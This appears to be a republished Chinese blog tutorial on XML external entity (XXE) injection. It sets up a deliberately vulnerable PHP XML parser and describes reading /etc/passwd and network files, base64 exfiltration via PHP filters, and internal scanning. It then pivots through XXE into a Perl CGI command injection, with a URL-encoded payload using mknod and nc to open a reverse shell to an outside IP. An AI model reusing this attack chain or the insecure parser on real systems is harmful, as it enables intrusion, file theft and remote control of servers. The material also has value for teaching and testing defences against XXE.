XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的"class="mq-11">Web根目录下的CUSTOM目录中。<?php$xmlfile= file_get_contents('php://input');$dom= new DOMD"/>

XML注入详解xxe的典型案例二

Posted 锋刃科技

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML注入详解xxe的典型案例二相关的知识,希望对你有一定的参考价值。

xxe的典型案例二

1.安装并运行起来

使用以下php脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的Web根目录下的CUSTOM目录中。

<?php

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$xml = simplexml_import_dom($dom);

$stuff = $xml->stuff;

$str = "$stuff \n";

echo $str;

?>

如果要在实验室中创建此场景,你可以将上述脚本放入PHP服务器(要先确保安装了php-xml

现在创建一个xml文件,作为请求发送到具有以下内容的服务器。我命名为“send.txt”,并将其从服务器上发送到本地主机,以确保一切都符合预期。

你可以把任何你想要的东西,像这样把它发送到本地主机。

XML注入详解(十)xxe的典型案例二

2.一些External Entities请求

“send.txt”修改为以下内容:

XML注入详解(十)xxe的典型案例二

这是对Linux系统的典型XXE攻击,是证明该漏洞存在的好方法。如果一切正常,你应该得到一个“/ etc / passwd”转储(dump)。

 服务器上 再次发送到本地主机。

XML注入详解(十)xxe的典型案例二

XXE可以做的另一件非常有用的事情是创建HTTP请求。

XML注入详解(十)xxe的典型案例二

WEBSVR01上的8888端口上启动python SimpleHTTPServer,我们来看看会发生什么。

XML注入详解(十)xxe的典型案例二

我的python http server服务器。

XML注入详解(十)xxe的典型案例二

我们可以发送http请求了。

在远程系统中,我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你可以在互联网上许多的Web服务器上发现这个漏洞,你可以用它作为枢轴点。

下图显示了全部。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的。

XML注入详解(十)xxe的典型案例二

首先,你要抓取“/etc/networking/interfaces”,如果需要更多信息,可以查看“/proc/net/route”(如果这些值为十六进制,则可能需要转换它们)。

在我的攻击PCUbuntu 14 LTS)中,我创建请求文件从Web服务器抓取“/etc/network/interfaces”

ATTACK PC上编辑文件来抓取/etc/passwd

XML注入详解(十)xxe的典型案例二

发送请求:

XML注入详解(十)xxe的典型案例二

注意:有些字符会破坏XML。到目前为止,我们只查看了文件或者做了简单的http请求,没有返回会破坏我们的XML的字符。由于我们使用的是PHP,所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容,并添加以下PHP过滤器。

XML注入详解(十)xxe的典型案例二

现在发送请求

XML注入详解(十)xxe的典型案例二

现在我们得到了base64编码的内容,一旦解码,我们就得到了网页的内容了。

XML注入详解(十)xxe的典型案例二

3.构建HTTP扫描器

将上面的都放在一起,我们现在可以扫描Web服务器的内部IP范围了。

当然使用Python了。

XML注入详解(十)xxe的典型案例二

你可以在我的<a href="https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py">GitHub获取脚本。

ATTACK PC EXECUTE

XML注入详解(十)xxe的典型案例二

让我们看看Base64如何解码10.0.0.4返回的数据。

XML注入详解(十)xxe的典型案例二

exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/

因为我们获得了一个index.plPerl)文件,所以我要假设CGI是启用的,所以这个漏洞可以执行。它通过在GET请求中传递参数来执行,因此我们可以对面向公网的主机进行XXE漏洞攻击。

解密Metasploit模块后,需要发送的请求就像此URL编码的http请求一样:

http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2

00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60

现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。

ATTACK PC上创建Netcat侦听器并执行!

现在你得到一个反向的Shell


以上是关于XML注入详解xxe的典型案例二的主要内容,如果未能解决你的问题,请参考以下文章

XML注入详解 xxe注入攻击

XXE漏洞详解

XML注入详解xxe攻击利用

Web漏洞|XXE漏洞详解(XML外部实体注入)

XML注入详解java中的xxe利用

文库 | XML外部实体注入总结(XXE)